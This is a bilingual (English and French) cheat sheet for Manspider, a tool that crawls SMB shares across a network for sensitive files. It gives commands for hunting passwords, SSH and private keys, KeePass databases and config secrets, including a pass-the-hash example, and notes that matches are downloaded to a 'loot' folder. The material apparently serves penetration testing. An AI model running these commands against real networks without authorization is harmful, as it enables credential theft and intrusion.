Manspider

Overview

Manspider crawls SMB shares across a network looking for sensitive files. It searches both filenames and file contents using regex patterns — essential for post-exploitation credential hunting.

Common Usage

Search all shares for files containing “password”

manspider 10.10.10.0/24 -u user -p 'Password1' -d domain.local \
  -c password

Search by filename patterns

manspider 10.10.10.0/24 -u user -p 'Password1' -d domain.local \
  -f passw *.kdbx *.key id_rsa *.pfx *.p12

Search for config files with credentials

manspider 10.10.10.0/24 -u user -p 'Password1' -d domain.local \
  -e xml config ini txt \
  -c password secret connectionstring apikey

Search specific host only

manspider dc01.domain.local -u user -p 'Password1' -d domain.local \
  -f *.xlsx *.docx *.pdf -c password

Use NTLM hash

manspider 10.10.10.0/24 -u admin -H <ntlm_hash> \
  -f passwords.txt *.kdbx

High-Value File Patterns

Filenames: passw*, *.kdbx, *.key, id_rsa, *.pfx, *.p12, *.crt, web.config
Content:   password, secret, connectionstring, api_key, token, BEGIN RSA

manspider [targets] [options]

TARGETS:
  IP, CIDR, hostname, or file of targets

AUTHENTICATION:
  -u USERNAME     Username
  -p PASSWORD     Password
  -H HASH         NTLM hash
  -d DOMAIN       Domain

CONTENT SEARCH:
  -c REGEX        Search file content for regex (repeatable)

FILENAME SEARCH:
  -f PATTERN      Search filenames for pattern (repeatable)
                  Supports glob (*.kdbx) and regex

FILE TYPES:
  -e EXT          Only search files with this extension (repeatable)
                  Supports: txt, xml, pdf, docx, xlsx, etc.
  --exclude-ext   Exclude file extension

PERFORMANCE:
  -t THREADS      Threads (default: 5)
  --timeout N     Timeout per connection

OUTPUT:
  Results saved to ~/.manspider/loot/
  Matching files are downloaded automatically

Vue d’ensemble

Manspider explore les partages SMB sur un réseau à la recherche de fichiers sensibles. Il cherche à la fois dans les noms de fichiers et le contenu des fichiers via des patterns regex : indispensable pour la chasse aux credentials en post-exploitation.

Utilisation courante

# Rechercher dans tous les partages des fichiers contenant "password"
manspider 10.10.10.0/24 -u user -p 'Password1' -d domain.local \
  -c password

# Rechercher par patterns de noms de fichiers
manspider 10.10.10.0/24 -u user -p 'Password1' -d domain.local \
  -f passw *.kdbx *.key id_rsa *.pfx *.p12

# Rechercher des fichiers de configuration avec des credentials
manspider 10.10.10.0/24 -u user -p 'Password1' -d domain.local \
  -e xml config ini txt \
  -c password secret connectionstring apikey

# Rechercher sur un hôte spécifique uniquement
manspider dc01.domain.local -u user -p 'Password1' -d domain.local \
  -f *.xlsx *.docx *.pdf -c password

# Utiliser un hachage NTLM
manspider 10.10.10.0/24 -u admin -H <ntlm_hash> \
  -f passwords.txt *.kdbx

Patterns de fichiers à haute valeur

Noms de fichiers : passw*, *.kdbx, *.key, id_rsa, *.pfx, *.p12, *.crt, web.config
Contenu :         password, secret, connectionstring, api_key, token, BEGIN RSA

manspider [targets] [options]

TARGETS:
  IP, CIDR, hostname, or file of targets

AUTHENTICATION:
  -u USERNAME     Username
  -p PASSWORD     Password
  -H HASH         NTLM hash
  -d DOMAIN       Domain

CONTENT SEARCH:
  -c REGEX        Search file content for regex (repeatable)

FILENAME SEARCH:
  -f PATTERN      Search filenames for pattern (repeatable)
                  Supports glob (*.kdbx) and regex

FILE TYPES:
  -e EXT          Only search files with this extension (repeatable)
                  Supports: txt, xml, pdf, docx, xlsx, etc.
  --exclude-ext   Exclude file extension

PERFORMANCE:
  -t THREADS      Threads (default: 5)
  --timeout N     Timeout per connection

OUTPUT:
  Results saved to ~/.manspider/loot/
  Matching files are downloaded automatically